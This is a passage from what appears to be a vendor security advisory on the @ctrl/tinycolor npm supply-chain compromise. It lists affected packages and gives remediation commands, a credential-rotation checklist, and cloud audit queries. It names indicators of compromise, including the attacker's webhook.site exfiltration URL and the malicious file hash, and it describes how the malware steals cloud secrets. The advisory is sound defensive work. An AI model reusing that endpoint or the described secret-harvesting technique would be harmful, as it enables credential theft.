172 react-jsonschema-form-conditionals 0.3.18, 0.3.21
173 react-jsonschema-form-extras 1.0.4
174 react-jsonschema-rxnt-extras 0.4.9
175 remark-preset-lint-crowdstrike 4.0.1, 4.0.2
176 rxnt-authentication 0.0.3, 0.0.4, 0.0.5, 0.0.6
177 rxnt-healthchecks-nestjs 1.0.2, 1.0.3, 1.0.4, 1.0.5
178 rxnt-kue 1.0.4, 1.0.5, 1.0.6, 1.0.7
179 swc-plugin-component-annotate 1.9.1, 1.9.2
180 tbssnch 1.0.2
181 teselagen-interval-tree 1.1.2
182 tg-client-query-builder 2.14.4, 2.14.5
183 tg-redbird 1.3.1, 1.3.2
184 tg-seq-gen 1.0.9, 1.0.10
185 thangved-react-grid 1.0.3
186 ts-gaussian 3.0.5, 3.0.6
187 ts-imports 1.0.1, 1.0.2
188 tvi-cli 0.1.5
189 ve-bamreader 0.2.6, 0.2.7
190 ve-editor 1.0.1, 1.0.2
191 verror-extra 6.0.1
192 voip-callkit 1.0.2, 1.0.3
193 wdio-web-reporter 0.1.3
194 yargs-help-output 5.0.3
195 yoo-styles 6.0.326

Immediate Actions Required

If you use any of the affected packages, take these actions immediately:

Identify and Remove Compromised Packages

# Check for affected packages in your project
npm ls @ctrl/tinycolor

# Remove compromised packages
npm uninstall @ctrl/tinycolor

# Search for the known malicious bundle.js by hash
find . -type f -name "*.js" -exec sha256sum {} \; | grep "46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09"

Clean Infected Repositories

Remove Malicious GitHub Actions Workflow

# Check for and remove the backdoor workflow
rm -f .github/workflows/shai-hulud-workflow.yml

# Look for suspicious 'shai-hulud' branches in all repositories
git ls-remote --heads origin | grep shai-hulud

# Delete any malicious branches found
git push origin --delete shai-hulud

Rotate All Credentials Immediately

The malware harvests credentials from multiple sources. Rotate ALL of the following:

  • NPM tokens (automation and publish tokens)
  • GitHub personal access tokens
  • GitHub Actions secrets in all repositories
  • SSH keys used for Git operations
  • AWS IAM credentials, access keys, and session tokens
  • Google Cloud service account keys and OAuth tokens
  • Azure service principals and access tokens
  • Any credentials stored in AWS Secrets Manager or GCP Secret Manager
  • API keys found in environment variables
  • Database connection strings
  • Third-party service tokens
  • CI/CD pipeline secrets

Audit Cloud Infrastructure for Compromise

Since the malware specifically targets AWS Secrets Manager and GCP Secret Manager, you need to audit your cloud infrastructure for unauthorized access. The malware uses API calls to enumerate and exfiltrate secrets, so reviewing audit logs is critical to understanding the scope of compromise.

AWS Security Audit

Start by examining your CloudTrail logs for any suspicious secret access patterns. Look specifically for BatchGetSecretValue, ListSecrets, and GetSecretValue API calls that occurred during the time window when the compromised package may have been installed. Also generate and review IAM credential reports to identify any unusual authentication patterns or newly created access keys.

# Check CloudTrail for suspicious secret access
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=BatchGetSecretValue
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ListSecrets
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue

# Review IAM credential reports for unusual activity
aws iam get-credential-report --query 'Content'

GCP Security Audit

For Google Cloud Platform, review your audit logs for any access to the Secret Manager service. The malware uses the @google-cloud/secret-manager library to enumerate secrets, so look for unusual patterns of secret access. Additionally, check for any unauthorized service account key creation, as these could be used for persistent access.

# Review secret manager access logs
gcloud logging read "resource.type=secretmanager.googleapis.com" --limit=50 --format=json

# Check for unauthorized service account key creation
gcloud logging read "protoPayload.methodName=google.iam.admin.v1.CreateServiceAccountKey"

Monitor for Active Exploitation

Network Monitoring

  • Block outbound connections to webhook.site domains immediately
  • Monitor firewall logs for connections to https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Implement Security Controls

GitHub Security Hardening

  • Review and remove unnecessary GitHub Apps and OAuth applications
  • Audit all repository webhooks for unauthorized additions
  • Check deploy keys and repository secrets for all projects
  • Enable branch protection rules to prevent force-pushes
  • Turn on GitHub Secret Scanning alerts
  • Enable Dependabot security updates

Ongoing Monitoring

  • Set up alerts for any new npm publishes from your organization
  • Monitor CloudTrail/GCP audit logs for secret access patterns
  • Implement regular credential rotation policies
  • Use separate, limited-scope tokens for CI/CD pipelines

For StepSecurity Enterprise Customers

The following steps are applicable only for StepSecurity enterprise customers. If you are not an existing enterprise customer, you can start our 14 day free trial by installing the StepSecurity GitHub App to complete the following recovery step.


Use NPM Package Cooldown Check

The NPM Cooldown check automatically fails a pull request if it introduces an npm package version that was released within the organization’s configured cooldown period (default: 2 days). Once the cooldown period has passed, the check will clear automatically with no action required. The rationale is simple - most supply chain attacks are detected within the first 24 hours of a malicious package release, and the projects that get compromised are often the ones that rushed to adopt the version immediately. By introducing a short waiting period before allowing new dependencies, teams can reduce their exposure to fresh attacks while still keeping their dependencies up to date.

Here is an example showing how this check protected a project from using the compromised versions of packages involved in this incident:

https://github.com/step-security/test-reporting/pull/16/checks?check_run_id=49850926488

Discover Pull Requests upgrading to compromised npm packages

We have added a new control specifically to detect pull requests that upgraded to these compromised packages. You can find the new control on the StepSecurity dashboard.

Use StepSecurity Harden-Runner to detect compromised dependencies in CI/CD

StepSecurity Harden-Runner adds runtime security monitoring to your GitHub Actions workflows, providing visibility into network calls, file system changes, and process executions during CI/CD runs. Harden-Runner detects the compromised nx packages when they are used in CI/CD. Here is a sample Harden-Runner insights page demonstrating this detection:

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/17774800387?runAttempt=1&tab=network-events

If you're already using Harden-Runner, we strongly recommend you review recent anomaly detections in your Harden-Runner dashboard. You can get started with Harden-Runner by following the guide at https://docs.stepsecurity.io/harden-runner.

Use StepSecurity Threat Center for real-time supply chain threat intelligence

The StepSecurity Threat Center provides comprehensive details about this @ctrl/tinycolor compromise and all 40+ affected packages. Access the Threat Center through your dashboard to view IOCs, remediation guidance, and real-time updates as new compromised packages are discovered. Threat alerts are automatically delivered to your SIEM via AWS S3 and webhook integrations, enabling immediate incident response when supply chain attacks occur. Our detection systems identified this attack within minutes of publication, providing early warning before widespread exploitation.

Use StepSecurity Artifact Monitor to detect software releases outside of authorized pipelines

StepSecurity Artifact Monitor provides real-time detection of unauthorized package releases by continuously monitoring your artifacts across package registries. This tool would have flagged this incident by detecting that the compromised versions were published outside of the project's authorized CI/CD pipeline. The monitor tracks release patterns, verifies provenance, and alerts teams when packages are published through unusual channels or from unexpected locations. By implementing Artifact Monitor, organizations can catch supply chain compromises within minutes rather than hours or days, significantly reducing the window of exposure to malicious packages.

Learn more about implementing Artifact Monitor in your security workflow at https://docs.stepsecurity.io/artifact-monitor.

Acknowledgements

The collaborative efforts of security researchers, maintainers, and community members continue to be essential in defending against supply chain attacks.

Reference

GitHub Issue

Socket.dev Blog Post